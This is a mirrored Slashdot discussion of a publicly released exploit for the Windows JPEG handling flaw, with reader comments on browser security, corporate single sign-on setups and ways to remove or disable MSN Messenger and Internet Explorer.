Slashdot Mirror


Public Exploit For Windows JPEG Bug

Khoo writes "A sample program hit the Internet on Wednesday, showing by example how malicious coders could compromise Windows computers by using a flaw in the handling of a widespread graphics format by Microsoft's software. Security professionals expect the release of the program to herald a new round of attacks by viruses and Trojan horses incorporating the code to circumvent security on Windows computers that have not been updated. The flaw, in the way Microsoft's software processes JPEG graphics, could allow a program to take control of a victim's computer when the user opens a JPEG file." We mentioned this earlier.

509 comments

  1. Knew it by Anonymous Coward · · Score: 3, Funny

    I knew there was something wrong with Goatse when I saw it!

    1. Re:Knew it by jb.hl.com · · Score: 4, Funny

      It's a gaping security hole.

      --
      By summer it was all gone...now shesmovedon. --
    2. Re:Knew it by tcr · · Score: 3, Funny

      From comments I have read by fellow Slashdotters, I understand that the port is question has been attacked on such a regular basis that it has expanded into a much wider hole than originally designed...

      --


      Information wants to be beer.
    3. Re:Knew it by Bedouin+X · · Score: 1

      Uhhhh. It's a cNet article.

      --
      Dissolve... Resolve... Evolve...
    4. Re:Knew it by Anonymous Coward · · Score: 0

      ... in fact a trojan horse, or bigger problem could have been involved, not helping the situation at all!

    5. Re:Knew it by yourmom16 · · Score: 1

      After all as the article summary says JPEG is "a widespread graphics format."(emphasis added)

      --
      "We have got to make Stan understand the importance of voting, because he'll definitely vote for our guy." - South Park
    6. Re:Knew it by Anonymous Coward · · Score: 0

      From comments I have read by fellow Slashdotters, I understand that [goatse man's anus] has been attacked on such a regular basis that it has expanded into a much wider hole than originally designed...

      From comments you have read by fellow Slashdotters? Some friends have told you or so you've read? Did you think anyone would believe it? Right!

  2. Almost... by mirko · · Score: 3, Interesting

    Now, to convince my company's managers to switch their userbase to Firefox, I just need it to support Sso (Single sign-on), please, tell us it's coming otherwise we'll keep using this tyrabrowsaurus...

    --
    Trolling using another account since 2005.
    1. Re:Almost... by pcardno · · Score: 3, Interesting

      Is anyone working on Single Signon for the Firefox/Mozilla platform? We're stuck using IE here as well as we've integrated Netegrity's Siteminder with Windows Single Sign On into the whole Active Directory thing (i.e. sign into your Windows computer and from that IE can figure out who you are so personalises our Intranet) but I'd rather we could get over to Firefox simply cos it's faster and less buggy!

      Oh, and then other people in the company wouldn't sniff at me for using it!!

      --
      --- Band: Joey Ultra
    2. Re:Almost... by lphuberdeau · · Score: 5, Insightful

      Browsers are not the only problem. Many companies use outlook as a mail client. Someone could simply include a jpeg image to the mail and since images are loaded by default, they would infect everyone. Seriously, the only way around this is to update software. Microsoft already has a patch for this I think.

      --
      Qui ne va pas à la chasse n'a pas de gibier
      PHP Queb
    3. Re:Almost... by enigmals1 · · Score: 5, Insightful

      Switch to Firefox?! Why, what's that gonna do for you? The exploit is in almost every major app Microsoft makes that handles any graphics, including Windows itself, .Net Framework, all Office products, etc.

      People are so quick to blame IE when there's so many other products they can go after. ;)

    4. Re:Almost... by Anonymous Coward · · Score: 0

      single sign on is implemented on the server, not the client

    5. Re:Almost... by SenseiLeNoir · · Score: 5, Interesting

      This is exactly the problem I fear. All it takes is one spammer/cracker to bulk mail a hundred of pictures to random HTML accounts (Hotmail, etc).. and you can see exactly where this is going to lead.

      Also those who use Firefox may not be 100% protected, because consider this scenario.

      1. Install Firefox
      2. Set Firefox as default browser
      3. Use MSN Messenger.
      4. MSN messenger pops up "you have new hotmail"
      5. Click link to see new mail, MSN Messenger opens up in INTERNET EXPLORER despite setting firefox as the default browser.
      6. You are owned.

      I am more concerned that after this, people may even mistakenly critisize Firefox, thinking that Firefox was there default browser, and that they got infected via firefox, instead of IE.

      "I set up this firefox thingie, and set it as a default browser, yet I still have a virus, by just reading my email. Firefox is just as bad as IE"

      A second attack vector could be to change the mimetype of the JPEG, causing Firefox to download, then open it in the system handler for JPEGS.. and a possibility of being owned that way.

      Still this may also be very good grounds for a class action against MS, as they are not honouring a users request NOT to use IE.

      This all goes to prove, MS is a security hole, that can even make secure applications appear insecure

      Ow, my head hurts from thinking of this.. let me get some Paracetamol.

      --
      Have a nice day!
    6. Re:Almost... by Laverne · · Score: 1
      Perhaps it is possible to create such an environment using http://nufw.org/


      NuFW performs an authentication of every single connection passing through the IP filter, by transparently requesting user's credentials before any filtering decision is taken. Practically, this means security policies can integrate with the users directory, and bring the notion of user ID down to the IP layers.
    7. Re:Almost... by YrWrstNtmr · · Score: 4, Informative
      Many companies use outlook as a mail client. Someone could simply include a jpeg image to the mail and since images are loaded by default,

      OL2003 has image loading off by default. "RightClick to display this image."
      Of course, most people are on earlier versions, but at least MS is putting in an effort to stem the tide.

    8. Re:Almost... by pdxaaron · · Score: 1

      Now, to convince my company's managers to switch their userbase to Firefox

      Using Firefox / Mozilla is fine and dandy unless site or sender includes not only a JPG, but a BMP as well. There are patches out for both apps though, so everyone should be okay right?

    9. Re:Almost... by SenseiLeNoir · · Score: 1

      This is the thing, *you* dont use it, but a lot of us do.

      Even i use it to contact my friends, MOST of my freinds are nto geeks like me, who woudl install GAIM etc.

      I know there are MSN Messenger clones out there (i use aMSN on Linux). Try and get the average user to install them, no chance.

      --
      Have a nice day!
    10. Re:Almost... by AstroDrabb · · Score: 4, Informative
      We use Netegrity as well. However we went against the single sign-on thing since it was less secure. Our users get stopped by a Netegrity form and enter their username password and then can go to any corporate intranet web app without signing in again until they close their browser or the session expires (about every hour). Firefox/Mozilla already support Windows authentication for single sign-on. It prompts a user for their name and password instead of just silently sending it. The user can even check a "remember password/username" option so they don't have to enter it again. Some management tried to get the admins to turn on windows authentication with Netegrity but the admins and we programmers stood our ground and said how bad an idea it was. Our users can get to all types of personal information and personal financial information on our corporate intranet. It is really dumb to not authenticate a user at least once per session. If a user walked away from their desktop without locking it (happens all the time), anyone could walk up to their box and get to all their personal data if we used just windows authentication. We do have a policy that locks a desktop after 15 minutes, however that is still a 15 minute windows for someone to do get to someone elses personal and financial data.

      Tell your management to turn off the Netegrity/windows authentication and use Netegrity form authentiation over SSL. Also, there is no reason why your users cannot user Firefox/Mozilla since it has had cross-platform support for Windows authentication for a few versions now.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    11. Re:Almost... by bairy · · Score: 1

      The set default progs and settings thing in control panel (xp sp1 onwards) lets you move inet explorer off the default html list.
      Any links I get in msn are sent to opera which is registered as the default http/html

      --


      Get paid to search..It's geniune and
    12. Re:Almost... by Jucius+Maximus · · Score: 1

      " That's why you:
      1) go close msn messenge
      2) go to c:\program_files\messenger
      3) rename that directory to something else.
      4) Msn won't start up again. yay!

      Why anyone would use msn messenger is beyond me, I hate that thing. It's more annoying than clippy. They just need a soundbyte with it that yells "you've got spam!" and it'll be complete."


      Then why the hell do you have messenger installed on your system in the first place!?!

    13. Re:Almost... by AstroDrabb · · Score: 1
      Single sign-on has been working with Firefox/Mozilla for the past few versions. Their implementation is cross-platform which means it works in Linux, Mac, Windows, Solaris, etc. The only difference is that it does not take your MS Windows login info and just send it. It will prompt you for a username/password and give you an option to remember it so you do not need to enter it again.

      While it may seem handy to have IE just log you in to intranet site, it is not very secure. If a user leaves his/her desk without locking or signing out, any user can fire up a browser and get to that users information. Where I work all our intranet apps/sites are blocked by Netegrity and a user is stopped once per session by a Netegrity sign-on form over SSL so we can be certain that a user is who they say they are. This works with any browser, takes about 2 seconds and is much better then having IE just send credentials that have not been verified since a user last logged into their desktop.

      This is the same problem with Outlook IMO. Outlook just assumes that I am the person that logged into the desktop. While that _should_ always be the case, there are bad employees from time to time. IE and Outlook should at least prompt for the current password the first time it is about to send the Windows authentication credentials.

      Most corporate work places are very insecure. Anybody that can get into the building can usually find a desktop and have a ball. I am not suggesting to lock down a corporate workplace to where it lowers productivity, I am just suggesting a few simple things that barely add any time to a task and can really help with security. That is why we make our corporate intranet users authenticate with a Netegrity form over SSL at the start of a session and every hour during that session. Our corporate PeopleSoft portal and PeopleSoft HR systems expose tons of personal and financial information which users like. However, we want to be sure that a user is who they say they are. Asking for a username/password once an hour is not full-proof, but it is much better then letting a user just fire up IE and start clicking.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    14. Re:Almost... by DigitalRaptor · · Score: 1

      I have friends that insist on using MSN too. They're problem. If they get owned, it ain't my fault! I've tried to get them to switch.

      I use Gaim on Win XP, and the new 1.0 works great! Jabber is the bomb, too.

      --
      Lose Weight and Feel Great with Isagenix
    15. Re:Almost... by tcr · · Score: 4, Informative

      Now, to convince my company's managers to switch their userbase to Firefox

      Before we get too smug, the article (anyone read those?) did mention an (albeit unrelated) vulnerability in Moz amongst others (PNG support) from August. Reproduced below.

      To avoid getting the flameproofs on, I should point out that Firefox is my browser of choice. But let's avoid the whole stones and greenhouses scenario, yeh?


      update Six vulnerabilities in an open-source image format could allow intruders to compromise computers running Linux and may allow attacks against Windows PCs as well as Macs running OS X.

      The security issues appear in a library supporting the portable network graphics (PNG) format, used widely by programs such as the Mozilla and Opera browsers and various e-mail clients. The most critical issue, a memory problem known as a buffer overflow, could allow specially created PNG graphics to execute a malicious program when the application loads the image.

      Among the programs that use libPNG and are likely to be affected by the flaws are the Mail application on Apple Computer's Mac OS X, the Opera and Internet Explorer browsers on Windows, and the Mozilla and Netscape browsers on Solaris, according to independent security researcher Chris Evans, who discovered the issues.

      --


      Information wants to be beer.
    16. Re:Almost... by Gentlewhisper · · Score: 2, Informative

      "Why anyone would use msn messenger is beyond me, I hate that thing. It's more annoying than clippy. They just need a soundbyte with it that yells "you've got spam!" and it'll be complete."

      I've got just the right thing for you!
      http://tmp.infosynaptics.com/spammail.wav

    17. Re:Almost... by Anonymous Coward · · Score: 0

      Now, to convince my company's managers to switch their userbase to Firefox...

      You use Firefox because you want a better more secure browser.

      You use IE because you don't care about security and it is more convenient.

      If management can't see the difference, your wasting your time. All you can do is say "I don't have a popup ptoblem and the trojan didn't affect me". Maybe it will sink in.

    18. Re:Almost... by dtfinch · · Score: 4, Informative

      This usually works:
      rundll32 advpack.dll,LaunchINFSection %systemRoot%\INF\msmsgs.inf,BLC.Remove

    19. Re:Almost... by Jucius+Maximus · · Score: 3, Interesting
      "I tried to uninstall it, but it kept comming back. This is actually the more permanent solution since it keeps it's shit in the registry so windows "thinks" it up and working."

      I suggest you check out a pair of wonderful little tools called StartupMonitor and Startup Control Panel. The former will alert you when things try to register themselves as 'auto-startup' items in the registry and give you the option to shoot them down, and the latter will allow you to unregister already existing auto-startup items in the approximately seven different places they can lurk. It is very useful for eliminating and avoiding problems like this.

    20. Re:Almost... by MBaldelli · · Score: 2, Insightful

      Why anyone would use msn messenger is beyond me

      You're confusing MSN messenger with Windows Messenger. I've been using MSN Messenger for some time now, and I've never seen the amount of spam that I used to with Windows Messenger. And there's a better run line that removes the entire package from a system never to be seen again which can be found here http://www.dougknox.com/xp/tips/xp_messenger_remov e.htm.

      For those of you acting all "chicken little" about an exploit that is not only fixed, but can be scanned for as malicious in several popular Anti-Virus Products as of the end of last week, following is the command that I have successfully used to remove Windows Messenger from my system. From a Run Dialog Box, copy & paste the following:

      RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove

      --
      "The truth points to itself." - Kosh, Babylon5
    21. Re:Almost... by mirko · · Score: 1

      I am an integrator for a huge Swiss company and I am currently facing trhe problem here where Sso only works on MSIE and not Firefox v~1 so how do you get Firefox to just acknowledge the need to connect to the AD Domain, if possible, without asking the user for credentials ?

      --
      Trolling using another account since 2005.
    22. Re:Almost... by AstroDrabb · · Score: 1
      One other thing I forgot to add. Firefox/Mozilla will just send your credentials without prompting you. However you can make Firefox/Mozilla do this for server or proxys on your intranet. Just close Firefox/Mozilla and add this line to your users prefs.js file in their profile.
      user_pref("network.automatic-ntlm-auth.trusted-uri s", "server1.company.com, server2.company.com");
      Then Firefox will not prompt for those servers and will prompt for a username/password for any other server. Even if Firefox prompts, a user can still click on "remember password" so they just have to hit OK next time. However, if you want it to be like IE an not prompt, just push out the above user_pref to your users. You can also do this manually for your own browser by going to about:config and filter for ntml and then enter the sites into network.automatic-ntlm-auth.trusted-uris.
      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    23. Re:Almost... by pcardno · · Score: 2, Interesting

      Sounds like our places have exactly the same issues! Our WSSO only works from your own laptop or desktop, and only if your screen saver settings are set to be passworded and turn on after 10 minutes. It's safe to say that caused a lot of arguments, particularly from people working in labs/manufacturing who run an experiment, go back to the computer, type something, go away for 5-10 minutes again, come back and so on, as they're sick of retyping their passwords.

      But the thing it is succeeding in doing is making people far more aware of the security of their own computer - after all, most people use their work computers to store personal stuff, whether it's correct to or not, then disappear off to lunch for an hour. Now that we have WSSO people are far more aware of exactly what they've done when they've signed into Windows and tend to lock there computers when they walk away - a previously unheard of thing to do!!

      Agreed though about the cross application SSO - it's be a godsend. We've also worked with some external companies (travel providers etc) to extend our domain/trusts to their eSolutions so that we don't have to log into the Extranet sites either...

      --
      --- Band: Joey Ultra
    24. Re:Almost... by Lehk228 · · Score: 2, Insightful

      put a null text file in place of msn messenger and make it read only, that way nothing can auto-repair your "broken" windows messenger install.

      --
      Snowden and Manning are heroes.
    25. Re:Almost... by Ryosen · · Score: 1

      Associate Firefox with url, http, and https invocations, in addition to the standard html and htm extensions. I haven't used Firefox (I use Opera and have for 8 years) but I'm sure that there is a way that you can do this. You might also want to associate the jpg file extension with Firefox, as well.

      Also, you can rename iexplore.exe and that will prevent any direct invocation of IE.

      --

      Ryosen
      One man's "Troll, +1" is another man's "Insightful, +1".
    26. Re:Almost... by Jugalator · · Score: 1

      Someone could simply include a jpeg image to the mail and since images are loaded by default, they would infect everyone.

      No, they aren't, at least not in Outlook 2003.

      --
      Beware: In C++, your friends can see your privates!
    27. Re:Almost... by jb.hl.com · · Score: 0
      --
      By summer it was all gone...now shesmovedon. --
    28. Re:Almost... by LO0G · · Score: 1

      Oooh, what a wonderful idea.

      And then when the exploit that uses the BMP vulnerability in firefox gets spread, you'll be infected.

      If you believe that Firefox is any more secure than IE (w.r.t. this vulnerability), you're smoking something.

    29. Re:Almost... by AstroDrabb · · Score: 1

      See my post here. Firefox will let you sign in without prompting, however it only allows it to happen for a white-list of servers. IE does it by internet zones which is has shown to be a bad concept. The post I linked tells you how to turn it on so Firefox will not prompt you for NTLM by doing it manually or pushing out a prefs.js file to all user profiles.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    30. Re:Almost... by Anonymous Coward · · Score: 1, Funny

      If you're actually using MSN messenger for any reason, you are retarded. Gaim for windows is at v1.0, and will connect to the msn network if you want.

    31. Re:Almost... by AstroDrabb · · Score: 1
      Outlook 2003 uses the same broken "Security zones" that IE uses. There have been exploits around that then can trick IE and things that use IE like Outlook 2003 to switch to the local intranet zone which does not have much security around it.

      So if some one from your company sends you an HTML email with a broken JPG then outlook 2003 will show it. If someone in your address book sends you an HTML email with images, then Outlook 2003 will show it. If someone in your address book or on your corporate network gets a virus that sends out emails and you get one with this expliot, Outlook 2003 will show it. I think it is funny that it has taken MS this many _years_ to make their mailers not show images or run attachments by default.

      As far as this JPG exploit, I wont come down hard on MS since flaws will happen in software. However, I do come down hard on MS for poor design choices like showing images and running apps by default that have been the normal operation of MS software for years. There are millions of MS Windows users that are not using the latest versions of MS Office or Outlook. It is pretty sad that these users will have to pay hundreds of dollars to upgrade to not have a mailer that does not do stupid things by default.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    32. Re:Almost... by Proculation · · Score: 1

      My heart will always be sold to ICQ.

    33. Re:Almost... by Radiate · · Score: 1

      It is possible to make msn messenger open hotmail in the default browser instead of Internet explorer but it requires MSN Messenger addons which i doubt most people care to install.

    34. Re:Almost... by ImaLamer · · Score: 1

      Easier solution; "Start, Run, Paste":

      RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove

      (then delete the freaking thing)

    35. Re:Almost... by Anonymous Coward · · Score: 0

      but at least MS is putting in an effort to stem the tide.

      You make them sound like saints. Let's not forget that they are responsible for that very tide that they are now trying to stem. Just a little rational design at the beginning would have done soooo much more than any amount of effort that they are now willing to commit!

    36. Re:Almost... by Anonymous Coward · · Score: 0

      Even i use it to contact my friends, MOST of my freinds are nto geeks like me, who woudl install GAIM etc.

      What the hell, use ICQ, it's bloated, it's slow, it locks up on Windows 2000 professional, but at least it is not from Microsoft. And it has that cute Rock-Paper-Scissors game built-in.

      (On second tought, I'm better if the llamas go all to MSN...)

    37. Re:Almost... by Anonymous Coward · · Score: 0

      Why anyone would use msn messenger is beyond me, I hate that thing. ...



      Why anyone would *not* use messenger is beyond me, I love the thing and you must be stupid for not loving it too!
      Sincerely,
      ObstinateAndBetterThanYou
    38. Re:Almost... by SilentChris · · Score: 1

      Only images housed on an external server. If someone places a corrupt image in the message itself (attached and displayed) the bug will trigger.

    39. Re:Almost... by Megor1 · · Score: 3, Insightful

      Just set Internet Explorer to use an invalid proxy, and set the user policy that they cant change it. Now the user can't use IE on the Internet at all.

      --
      Everyone that disagrees with me is a paid shill
    40. Re:Almost... by julesh · · Score: 1

      OL2003 has image loading off by default

      Given most users' preferences on this matter, that's about as useful as the option that prevents you from opening "dangerous file types", including PDFs, where you can't even get temporary access to the file ... the only way of getting to the document is by disabling the protection.

    41. Re:Almost... by JFitzsimmons · · Score: 1

      You do realize that's almost exactly selling your soul to AOL right?

      --
      Beware he who would deny you access to information, for in his heart he dreams himself your master. -Anonymous
    42. Re:Almost... by jmulvey · · Score: 1

      Interesting thread here because I'm evaluating Web SSO products.

      My understanding of Netegrity (and other vendors such as Oblix) is that you can have certain applications force re-authentication on first use. They also allow per-application session expiration. In this way, you can provide direct SSO to websites that don't have sensitive information, while forcing a user to re-authenticate for sites that do.

      Is this not your experience? I'm interested because we're just in the evaluation phase right now.

    43. Re:Almost... by kbahey · · Score: 1

      I use both Yahoo Messenger (and love it) and MSN Messenger (and loath it) on Windows.

      I know I can get GAIM, or Trellis or any of a dozen all-in-one IM clients out there.

      However, one of the reasons I keep using both of them is if someone half a planet away wants to talk to me in voice. I cannot dictate nor influence what client they like best nor have installed. I want to be able to talk to them when I want to.

      Until gaim-vv is a reality, and works well with MSN and Yahoo IM networks, I have no choice but continue to use two IM clients on my machines.

    44. Re:Almost... by jmulvey · · Score: 1

      I think the problem is that Mozilla 1.7 for the Windows OS doesn't yet support Kerberos over SPNEGO (aka "Windows Integrated Authentication"). The Linux version of Mozilla does support this capability (and therefore true SSO). But for Windows clients, they will have to authenticate again when they hit their first SiteMinder-enabled website. Double-Sign-On ?DSO? if you like.

      I dunno if Mozilla is planning to integrate Kerb or SPNEGO into its Windows release, but it sure would be a huge boon for corporate clients to start seriously considering using Mozilla in the workplace.

    45. Re:Almost... by changa · · Score: 1

      First keep my machine patched.

      I then set IE to display no images, run no java, java script or active X.

      I keep IE's connection settings to a non-existing proxy at 127.0.0.1 8080.

      Then I use Opera.

      Funny I used to say I wouldn't even trust IE to render pictures... Guess that was a good move.

    46. Re:Almost... by Craig+Davison · · Score: 2, Funny

      Then mail them an image they want to see. The user will right-click, see a perfectly normal piece of porn and in the meantime will be silently getting owned.

    47. Re:Almost... by jmulvey · · Score: 1

      I think it is dangerous to simply say that allow a browser to "just log you in .... is not very secure". That's a pretty absolute statement. There are cases where internal corporate websites might want to present personalized content to the user, but doesn't contain any sensitive information. Why not support an authentication method that allows each application to determine whether the user should re-authenticate?

      Too often here on Slashdot we're ready to throw the baby out with the bath water. Just because it's "IE" and "Windows Integrated Authentication" (which, by the way, has a more open-standard name called "Kerberos over SPNEGO") doesn't mean its insecure.

      Sorry if this is a little rant-ish.

    48. Re:Almost... by AstroDrabb · · Score: 1
      You are correct. Most of our web applications on our intranet use the default policy that requires them to use a Netegrity form over SSL the first time they try to get to a protected resource (we use this on Linux Apache servers and IIS servers). Some special applications with more sensitive information use a different policy and even if a user authenticated against one of the general applications, they are forced to authenticate again.

      Netegrity is not a bad product, though their support is expensive and has been pretty sucky from my experience. Also, Netegrity's Apache support has not been keeping up.

      I don't know if you use Apache, if you do, you might want to check Oblix. Oblix and Netegrity both seem to do the same things with policies. See which one costs less and works in your current environment and more importantly, your future environment. We are basically stuck with Netegrity because it would cost to much to redo everything. We have been adding Apache servers on Linux and Solaris to handle J2EE and our PeopleSoft portal, and Netegrity's support for Apache has not been anything to write home about. We do have Netegrity working with Apache. However, the client plugin that is used with a web server such as Apache or IIS is specific to the Netegrity policy server. The Netegrity client piece for our current Netegrity policy server only supports a very old Apache 1.3.27 and we want to use Apache 2.x. When we upgrade our policy servers we can then upgrade our Apache Netegrity clients, however it is not something you can do in 1 hour during business times.

      We had issues with Netegrity being behind a load balancer. The only solution from Netegrity was to upgrade the Netegrity client which would require an upgrade to the Netegrity policy servers, and upgrade to our BEA Weblogic servers and an upgrade to our Apache servers (we want to upgrade Apache though). We did look at switch from Netegrity, however the costs of new license for a new product and the cost to switch tons of servers and re-test was too much. So we just had to suck it up and stick with Netegrity. If doing it again, I know I would really push to do a deeper evaluation of copmeting products that support Apache, IIS and a J2EE server like Bea Weblogic or Oracle 9iAS.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    49. Re:Almost... by Anonymous Coward · · Score: 0

      well i can think of one reason why I would use it, because the organization i work for has outsourced maintenance, security etc. to another company, the second company is now issuing a new standard pack for everyone to have installed on their computers, this has a messaging program and it's msn.

    50. Re:Almost... by SenseiLeNoir · · Score: 1

      I tried that, it did not work.

      I am talking about the Hotmail Integration here, where when you click on teh mail alert, it automatically goes to either your hotmail inbox, or opens the message. I am NOT talking about embedded links in a IM conversation, these do open up in the default browser (ie firefox).

      Somewhere, MSN messenger still launches IE in the hotmail integration. The excuse from MS was that Netscape doesnt handle the "long urls" associated with the autologin process to display a hotmail inbox, or message, and that there is a "security issue". This is pure crap, as earlier versions of MSN Messenger (pre 4.7 i think) DID launch the default browser when clicking the Mail Alert, and worked even on Netscape 4.7

      Even Yahoo messenger works fine with loading yahoo mail in firefox, why does MSN Messenger have to be vastly different.

      --
      Have a nice day!
    51. Re:Almost... by tafinucane · · Score: 1

      Look into the Liberty spec. One of its optional provisions is forced reauthentication.

      Liberty, and its competing standards like WS-Federation and SAML, are good because the partners can run whatever vendor's software they like. You just have to verify your vendor is compliant.

      Liberty Specifications
      SAML Spec
      WS Fed Spec Any number of vendors in the access control realm are jumping on the Liberty bandwagon. My company makes a product competing with Netegrity. Of course ours is superior in every way imaginable :)

    52. Re:Almost... by cheezit · · Score: 1

      Netegrity support may be "sucky" but they are a 600+ person company and can put a support person on a plane.

      Oblix is 120 people and generally relies on third party integrators (E&Y, PwC) to do onsite support. For some places that is just fine. It sure as hell didn't work for us.

      --
      Premature optimization is the root of all evil
    53. Re:Almost... by cheezit · · Score: 1

      I cannot get GAIM or Trillian to support connecting to Yahoo over port 80. Anyone have any luck with that?

      --
      Premature optimization is the root of all evil
    54. Re:Almost... by AstroDrabb · · Score: 1
      We provide personal content to all our users. However they have to authenticate the first time with a Netegrity policy server over SSL. Having a few web apps determine how to authenticate a user is not a big deal. However when you have hundreds if not a few thousand corporate apps delivered over the web (as we do), it makes much more sense to use some type of corporate authentication system. Also, I never said it is bad to do this. I said it is bad the way IE does it. Firefox can do it as well. However, Firefox requires a white-list of servers that it will silently send credentials to. IE uses "zones" and those zones have been exploited.

      Kerberos over SPNEGO is not bad, Kerveros was developed at MIT, though I don't know how much MS changed their implementation to be non-standards compliant. What I don't like is that MS will silently downgrade from a PNEGO/Kerberos token (if the user is not logged onto a domain, etc) to NTLMv2 or NTLMv1. NTLMv1 is very bad and easily crackable and should never be silently downgraded to.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    55. Re:Almost... by cheezit · · Score: 1

      Windows Integrated Authentication is not synonymous with Kerb/SPNEGO. WIA in NTLM mode will do a NTLMv1 handshake that breaks the HTTP spec in order to log you in. NTLMv1 is proven to be insecure.

      Kerb/SPNEGO can be enabled under the WIA umbrella but the NTLM stuff is under there too and cannot be disabled on the client side.

      --
      Premature optimization is the root of all evil
    56. Re:Almost... by jmulvey · · Score: 1

      Thanks for the info.

    57. Re:Almost... by jmulvey · · Score: 1

      Yeah, I'm familiar with Liberty Alliance and WS-Fed. They are designed for org-to-org gateway style authentication. They're not for intranet Web SSO.

    58. Re:Almost... by AstroDrabb · · Score: 1
      I have never worked with Oblix, so I cannot comment. We had a Netegrity support person come out, and you should see the bill. Who do you think paid for the plane, hotel, food, toothbrush and just about anything else? We did. We pay an annual support contract, you would think that having someone come out would be included in those costs, but they are not. Bigger doesn't always mean better.

      I personally don't care who a company sends out for onsite support as long and they know what they are doing and gets the job done.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    59. Re:Almost... by Anonymous Coward · · Score: 0

      Couldn't you just set up IE to use a proxy with an address of 127.0.0.1?

    60. Re:Almost... by ByteSlicer · · Score: 1

      I actually tried Gaim (v0.76-0.78) seriously for a while. I found it too buggy to be useful. I like the open source concept, but the problem with Gaim (and a lot of other OSS) seems to be that they don't stabilize their sources. I mean that they fix bugs, include a lot of new features, and introduce a whole lot of new bugs along the way. I don't really blame them, they're a small team with a large user base. Just to say open source isn't necessarily more secure.

    61. Re:Almost... by Anonymous Coward · · Score: 0

      Not only it comes by default - try stopping it once it started - it will pop a dumb message about many other programs using it, like Outlook Express or IE (none of them runnung at the time, but who cares?) and plain refuse to shut down Well, there's always "kill process tree" I guess.

    62. Re:Almost... by Anonymous Coward · · Score: 0

      startmenu>control panel>add-remove programs>windows components>remove checkmark from Internet Explorer>click apply

      links clicked in msn will now open in FF

    63. Re:Almost... by grifter7 · · Score: 1

      I can't do that because I get an error saying that "Renaming, moving or deleting 'Messanger' could make some programs not work..."

      ;-)

    64. Re:Almost... by Anonymous Coward · · Score: 0

      The Office patch has been out quite some time now.
      I installed it the first of this week.

    65. Re:Almost... by MrFreshly · · Score: 1

      Agreed, she makes delightful pastries!

      - Mr. Freshly


      PS. Nice how M$ makes IM/Hotmail integrate into everything...ie. the online support (remote access) system with no support for any other messanger/mail service other than IM and Outlook.

    66. Re:Almost... by JebuZ · · Score: 1

      Since you mentioned MSN Messenger, I had a similar question. Maybe someone on Windows can answer it. If you were to set your MSN picture to the JPEG exploit, could everyone on your list whom you message be exploited, or does MSN compress and resize the image such that it would destroy the payload?

    67. Re:Almost... by Anonymous Coward · · Score: 0
      Fix this line in C:\WINDOWS\inf\sysoc.inf and you can remove that thing from your system:

      msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7


    68. Re:Almost... by cheezit · · Score: 1

      Okay, that would suck...

      The issue we have had with third-party support is that the support people (from Accenture or Deloitte or whatever) may disagree with the vendor on what to do and that inevitably gets back to the customer. So "getting the job done" means two different things, and it's up to the customer to bring the bickering companies to an agreement...which is really a temporary truce until the next disagreement.

      IMO, the vendor needs the resources to cut through all that by providing their own people. Without that capability they are always at the mercy of the integrator. Oblix sure was.

      --
      Premature optimization is the root of all evil
    69. Re:Almost... by Anonymous Coward · · Score: 0

      Microsoft's PNG dll had a vuln in it a while back too. Typical incredibly-important-critical status IIRC.

    70. Re:Almost... by lphuberdeau · · Score: 1

      Well, this sure is one step ahead. Last version I used as outlook 2000 and that was for a day until I removed windows from my PC at work...

      --
      Qui ne va pas à la chasse n'a pas de gibier
      PHP Queb
    71. Re:Almost... by Anonymous Coward · · Score: 0

      Yes there were bugs in the development releases of gaim, that's why they called it 0.76! The 1.0 release should be far less buggy, I've been using 0.82 for windows and it's been fine. The benefits of releasing whilst in development are that the bugs can be found! To judge software on an incomplete release is unfair.

    72. Re:Almost... by drsmithy · · Score: 1
      Why anyone would use msn messenger is beyond me, I hate that thing.

      It does everything I want in an IM client (and probably a lot more).

      It's already there.

    73. Re:Almost... by drsmithy · · Score: 1
      Single sign-on has been working with Firefox/Mozilla for the past few versions. Their implementation is cross-platform which means it works in Linux, Mac, Windows, Solaris, etc. The only difference is that it does not take your MS Windows login info and just send it. It will prompt you for a username/password and give you an option to remember it so you do not need to enter it again.

      It does not appear you understand what single sign-on means.

    74. Re:Almost... by dcam · · Score: 1

      Xteq is also very nice. Useful as an interface for a collection of registry hacks.

      --
      meh
    75. Re:Almost... by AstroDrabb · · Score: 1

      I don't think you know what it means. Firefox/Mozilla will do single sign-on without prompting from a white-list unlike MS's IE zones. See my post here. Firefox/Mozilla has supported this for a few versions. Though it is not broken like IE zones and assume where you want your credentials sent. An adim can send down a Firefox/Mozilla profile that will allow Firefox/Mozilla to single sign-on to any corporate lan, it just doesn't do it by default wich is better security IMO.

      --
      If Tyranny and Oppression come to this land,
      it will be in the guise of fighting a foreign enemy. -James Madison
    76. Re:Almost... by Anonymous Coward · · Score: 0

      Go to "c:\program files\internet explorer"
      Right click on "iexplore.exe" and select "properties"
      Go to the "Security" tab
      Click Add
      Add "Everyone" and click ok
      check Deny next to "read & execute"
      click ok, then yes

      Now nothing will start IE. Of course you still have to worry about embedded browser controls, etc.

    77. Re:Almost... by drsmithy · · Score: 1
      I don't think you know what it means. Firefox/Mozilla will do single sign-on without prompting from a white-list unlike MS's IE zones. See my post here [slashdot.org]. Firefox/Mozilla has supported this for a few versions. Though it is not broken like IE zones and assume where you want your credentials sent. An adim can send down a Firefox/Mozilla profile that will allow Firefox/Mozilla to single sign-on to any corporate lan, it just doesn't do it by default wich is better security IMO.

      Single sign-on means you authenticate once (the "single" part - generally the login to the computer) and then authentication for services within the scope of that login "just work". Not having to authenticate again and again with the same credentials in the same session.

    78. Re:Almost... by bairy · · Score: 1

      Ahh yeah I gotcha. Does the same here with hotmail although I use OE to deal with hotmail.
      Have you tried the various msn related sites mess.be and others, see if they have patches or hacks to change it?

      --


